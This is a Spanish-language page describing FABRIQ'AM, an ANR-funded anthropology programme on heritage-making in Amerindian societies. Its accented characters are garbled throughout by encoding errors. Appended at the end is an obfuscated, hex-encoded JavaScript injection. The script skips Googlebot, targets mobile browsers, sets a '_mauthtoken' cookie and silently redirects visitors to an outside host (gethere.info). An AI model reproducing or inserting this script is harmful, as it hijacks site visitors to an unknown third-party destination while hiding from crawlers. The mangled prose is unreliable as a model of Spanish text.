FABRIQ’AM

La fA?brica de a�?patrimoniosa�? en sociedades amerindias

RESUMEN DEL PROGRAMA DE INVESTIGACIA�NA�:

PatrimonializaciA?n y recomposiciA?n de los regA�menes de saber

En AmA�rica latina, donde el multiculturalismo y la gestiA?n de las identidades indA�genas son un desafA�o polA�tico mayor, al punto de transformar los modos de gobernancia en niveles locales, las poblaciones indA�genas se encuentran condicionadas a poner en valor caracterA�sticas A�tnicas o culturales para posicionarse en el escenario nacional. Si para participar en la vida cA�vica las poblaciones amerindias tienen que recurrir a aquellos rasgos culturales que las identifican, en estas interacciones ellas se encuentran frente a una comprehenciA?n externa desfasada, incluso antinA?mica, de sus culturas y de sus personas. Por un lado, recompilar, rememorar y reproducir una relaciA?n con el pasado, tal como es vehiculizada institucionalmente, se distingue de aquellas concepciones autA?ctonas que establecen lo que debe recordarse -o tiene que olvidarse-, asA� como la manera en que se trasmiten los saberes y conocimientos, y los diferentes modos de historicidad. Por otro lado, para muchos grupos amerindios las formas de transmisiA?n de la memoria se encuentran, desde entonces, integradas en un mundo globalizado, en tanto que recursos mA?viles para obtener derechos, confortar una identidad colectiva, e incluso, formar nuevas formas de indianidad. AsA�, el programa de investigaciA?n procura comprender como se expresan y se articulan los modos subjetivos con los cuales las sociedades amerindias estudiadas conciben sus relaciones con la historia y el tiempo, adentro y afuera de la interfaz con la sociedad hegemA?nica que les impone las pautas de sus culturas.

Una aproximaciA?n mediante la etnografA�a de las experiencias autA?ctonas

Los investigadores participantes del programa se encontraban desde largo tiempo comprometidos con los casos estudiados, pudiendo la mayorA�a asistir al surgimiento del objeto a�?patrimonioa�? durante el transcurso de sus trabajos de campo. Esto les permitiA? proponer otras miradas y perspectivas temporales acerca de las construcciones patrimoniales, asA� como tambiA�n analizar los diferentes contextos que conforman estos procesos, desde sus preA?mbulos hasta sus diferentes derivaciones. Una treintena de estudios de casos, llevados a cabo desde una aproximaciA?n procesual y comparativa, abarcaron el tema de la patrimonializaciA?n a partir de aquellos aspectos que, atados con los procesos histA?ricos, ataA�en a la transmisiA?n de la memoria y de los saberes. Estas investigaciones nos muestran cA?mo, y en quA� contexto, se despliegan, o no, diferentes dispositivos locales de orden polA�tico, identitario y relacional, intra e intercultural, en respuesta a las polA�ticas patrimonialistas.

Resultados

Los anA?lisis desarrollados pusieron en evidencia la capacidad reflexiva de las sociedades amerindias estudiadas, cuyas culturas, ya reconocidas, devinieron una cuestiA?n polA�tica y/o econA?mica. AsA�, a las lA?gicas locales que definen a�?lo que somosa�? se suma, de manera simultA?nea y a��frecuentemente-, diferenciada, una lA?gica patrimonial sobre a�?lo que tenemosa�?. Ni culturalismo angelical, ni esencialismo estratA�gico, el estudio de los procesos de patrimonializaciA?n en poblaciones amerindias permitiA? comprender mejor las inversiones locales en el dominio de la cultura, en tanto cuestiA?n social y polA�tica mayor anclada, y anclada en la modernidad. De esta manera, el campo de la patrimonializaciA?n se revelA? como una arena en donde se exponen, en una asimA�trica relaciA?n de fuerzas, visiones ideolA?gicas distintas sobre la manera en que las diferencias culturales deben ser afirmadas y reconocidas, asA� como tambiA�n sobre lo que constituye, en A?ltima instancia, la diferencia.

Scientific ProducciA?n cientA�fica

Los resultados de esta investigaciA?n colectiva fueron abordados en un taller de inicio abierto, y otro taller de cierre interno, en seis jornadas de presentaciA?n de trabajos llevadas a cabo por miembros del proyecto, y, seguidamente, 20 jornadas de estudio que desarrollaron los ejes del programa. Finamente, fruto de estas actividades colectivas, se produjeron 47 publicaciones internacionales y 34 en Francia (libros, nA?meros especiales de revistas, artA�culos, capA�tulos de libros), 50 comunicaciones internacionales y 175 en Francia, tres coloquios internacionales, cuatro pelA�culas documentales (dos/tres de ellas todavA�a en preparaciA?n) y cinco conferencias de divulgaciA?n cientA�fica.

PROPUESTA INICIALA�:

Financiado por A�l’Agence Nationale de la RechercheA�(ANR, Agencia Nacional de la InvestigaciA?n), el proyecto FABRIQ’AM reA?ne a unos treinta antropA?logos sobre el tema de la patrimonializaciA?n en AmA�rica indA�gena.

Fabriq'am Carte terrains version 2014

LocalizaciA?n de estudios de casos FABRIQ’AM

La A�A�patrimonializaciA?nA�A� de elementos culturales (materiales e imateriales) se ha vuelto desde hace varios aA�os uno de los medios por los cuales les grupos amerindios buscan una visibilidad y un reconocimiento en un paisaje social y polA�tico marcado hoy, en la mayorA�a de los paA�ses del continente americano, por un (supuesto) compromiso en la valorizaciA?n de la diversidad cultural. Sin embargo, los fenA?menos de parimonializaciA?n, ampliamente estudiados en varias partes del mundo (sobre todo en AmA�rica del Norte), lo son menos para los espacios meso y sur americano, y menos aun para las sociedades amerindias. En dichos grupos, las concepciones de lo que se debe de conservar o abandonar, recordar o olvidar, los modos de transmisiA?n de conocimientos y saberes, asA� como los regA�menes de historicidad parecen a menudo ir en contra de los presupuestos que conlleva la nociA?n de patrimonializaciA?n, tal como se entiende el mundo europeo-centrado. Por otra parte, como consecuencia de mediaciones y formas de inculcaciA?n de esquemas culturales formulados fuera de las sociedades amerindias, A�stas transforman ciertas de sus practicas cotidianas en nuevas formas mas objetivables para el mundo externo y que participan de modalidades inA�ditas de transmisiA?n para las nuevas generaciones. Estos procesos se vinculan con un discurso que procede por objetivaciA?n, esencialisaciA?n y etnicisaciA?n de las culturas indA�genas.

Las formas de transmisiA?n de la memoria de las sociedades amerindias tienen una doble dimensiA?n. Por un lado, se construyen segA?n una matriz cultural y social que les es propia. Por otro lado, en el marco de un mundo hasta cierto punto globalizado, se ven ahora mobilizadas en tanto recurso potencial para reforzar identidades colectivas, o crear nuevas formas de etnicidad. El anA?lisis de la variedad de configuraciones patrimoniales que se pueden observar en las practicas actuales de las sociedades amerindias requiere entender dichas formas de imposiciA?n y adaptaciA?n, y las transformaciones culturales que conllevan, pero tambiA�n dilucidar las diversas maneras en que los actores amerindios se han reapropiado un derecho a construir un discurso sobre su propia cultura y a instituirlo como fuente de afirmaciA?n identitaria.

Con el fin de entender las diversas maneras en que los procesos de patrimonializaciA?n cultural se declinen en la treintena de sociedades amerindias estudiadas en el proyecto, el estudio se desarrollarA? siguiendo tres A?ngulos de anA?lisis complementariosA�:

  • los regA�menes de temporalidad, de historicidad y de saber ;
  • la A�A�fabricaA�A� del patrimonio, su construcciA?n social y sus usos polA�ticos ;
  • las lA?gicas institucionales y las formas locales de gobernanza multicultural

La treintena de antropA?logos del proyecto tienen una larga experiencia de trabajo de campo en las sociedades estudiadas, y cubren una vasta muestra de situaciones locales y de respuestas diversas al proceso global de patrimonializacion cultural.

El proyecto, por esencia comparativo, no busca establecer una tipologA�a de las similitudes y diferencias entre las formas de puesta en patrimonio que se pueden observar, sino mas bien comparar representaciones categoriales, marcos, relaciones, procesos de construcciA?n del significado y de composiciA?n de los discursos. Mediante el estudio de la patrimonializacion cultural, considerada como reveladora de juegos de actores, de estrategias de definiciA?n de si mismo y de construcciA?n de lo polA�tico, el desafA�o es encarar dos fenA?menos estrechadamente asociadosA�: por una parte, se trata de aprehender los modalidades de la inserciA?n de las sociedades amerindias en la modernidad y su capacidad a ocuparla, poniendo a la luz las formas de cohabitaciA?n y de composiciA?n de los regA�menes de saber y de historicidad generado a travA�s de la patrimonializaciA?nA�; por otra parte, mediante el anA?lisis de este proceso, el proyecto busca dilucidar el gA�nesis y los desarrollos contemporA?neos de la configuraciones multiculturales que caracterizan el espacio polA�tico de las regiones meso y sur americana.

A?reasA�de investigaciA?n del proyecto

LA A�A�FA?BRICAA�A�A�DE LOS PATRIMONIOS : CONSTRUCCIONES SOCIALES, USOS POLA?TICOS

A?QuA� significa A� producir patrimonio A� y A� dar a ver su cultura A� a travA�s de la exposiciA?n en museos, o transformando elementos culturales en espectA?culo, convirtiA�ndolos en imagen, expresA?ndolos en escritos, fabricA?ndolos en A� sitio de memoria A� o en monumentos de naturaleza diversa? Estos procesos no son sA?lo lugares de construcciA?n cultural, sino que implican tambiA�n una lA?gica de sA� mismo y del otro, formas de objetivaciA?n y puestas en escena de la cultura. A?CA?mo los actores indA�genas han, en un momento dado, pensado ciertos rasgos culturales como un A� patrimonio A� y producido una imagen de sA� mismo utilizada en las relaciones con los otros grupos indA�genas y en las relaciones con los no-indios? Se analizan aquA� los efectos de estas operaciones sobre la cultura de colectivos que son, a la vez, agentes y objetos; y la manera como estas operaciones contribuyen a remodelar las relaciones sociales en el seno de los grupos concernidos, pero tambiA�n entre A�stos y su exterior: las comunidades indA�genas y sus representantes, las instituciones, que validan el estatus patrimonial y, de una manera u otra, proceden del Estado o dependen de nuevos espacios globales, y un conjunto de mediadores a��entre ellos, los investigadores en el terrenoa��.

LA�GICAS PATRIMONIALES Y DISPOSITIVOS INSTITUCIONALES INTERNACIONALES O NACIONALES

El eje a�?LA?gicas patrimoniales y dispositivos institucionales internacionales o nacionalesa�? estudia la gobernanza del patrimonio mediante una investigaciA?n de las practicas institucionales. Nos detendremos en particular en el anA?lisis de la articulaciA?n de las normas globales establecidas por la UNESCO, con las estructuras burocrA?ticas, las lA?gicas institucionales y la apropiaciA?n de estos dispositivos por los actores cientA�ficos y sociales en Guyana francesa, en Brasil y en MA�xico. A?CuA?l es el impacto de los programas globales sobre las polA�ticas nacionales del patrimonio? Si el auge del de las polA�ticas nacionales fue asociado histA?ricamente con las creaciA?n del Estado-NaciA?n, el patrimonio ha dejado de restringirse a una dimensiA?n nacional para volverse un hecho global: las polA�ticas patrimoniales se ven redefinidas a una escala mundial y orquestada por entidades supranacionales. A?CuA?l es el efecto de una instituciA?n tal como la UNESCO sobre las polA�ticas nacionales del patrimonio? Cabe preguntarse si la globalizaciA?n del patrimonio cultural refuerza una a�?UnescoizaciA?na�? de las teorA�as y de las prA?cticas relativas al patrimonio o si, por el contrario, se observan estrategias de parte de los estados para resistir a lo que serA�a una homogeneizaciA?n de los criterios de la a�?patrimonializaciona�? y de sus procedimientos.

A�REGA?MENES DE TEMPORALIDAD, HISTORICIDAD Y SABERES

Comprender las formas actuales de la A�A�fA?bricaA�A�A�del patrimonio, como procesos a la vez emergentes e inscritos en el seno de las lA?gicas culturales, implica una comprensiA?n fina de los conceptos relativos a la temporalidad, a la historia, a la transmisiA?n y a lo que se transmite en una cultura o una sociedad dada.A�A? CA?mo esas concepciones configuran y son configuradas por los nuevos procesos de patrimonializaciA?n ?A�Estas cuestiones quedan por analizar a partir de una variedad de prA?cticas : desde las que conciernen los objetos y sus destinos, hasta aquellas relacionadas con la utilizaciA?n de espacios cotidianos o memoriales; desde las discursivas (que sean narrativas, rituales, polA�ticasa�� ), hasta aquellas que tratan de la adopciA?n de nuevas formas de expresiA?n, como escritas, fA�lmicas u otras.El objetivo del encuentro apunta tanto a captar la variedad de estrategias desarrolladas por las sociedades amerindias frente a los cambios culturales, como a una reflexiA?n comparativa mA?s amplia sobre los esquemas de elaboraciA?n de la historia y de la conceptualizaciA?n de la acciA?n en dichas sociedades y sus variaciones segA?n los contextos. Cinco enfoques serA?n desarrollados : a) Modelos y modalidades de las construcciones memoriales, b) Concepciones locales del cambio y del evento, c) La agentividad histA?rica, d) RegA�menes de enunciaciA?n y de transmisiA?n de los saberes e) Anclaje espacial y material de la memoria.

FABRIQ’AM en el sitio web ANR :A�agence-nationale-recherche

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}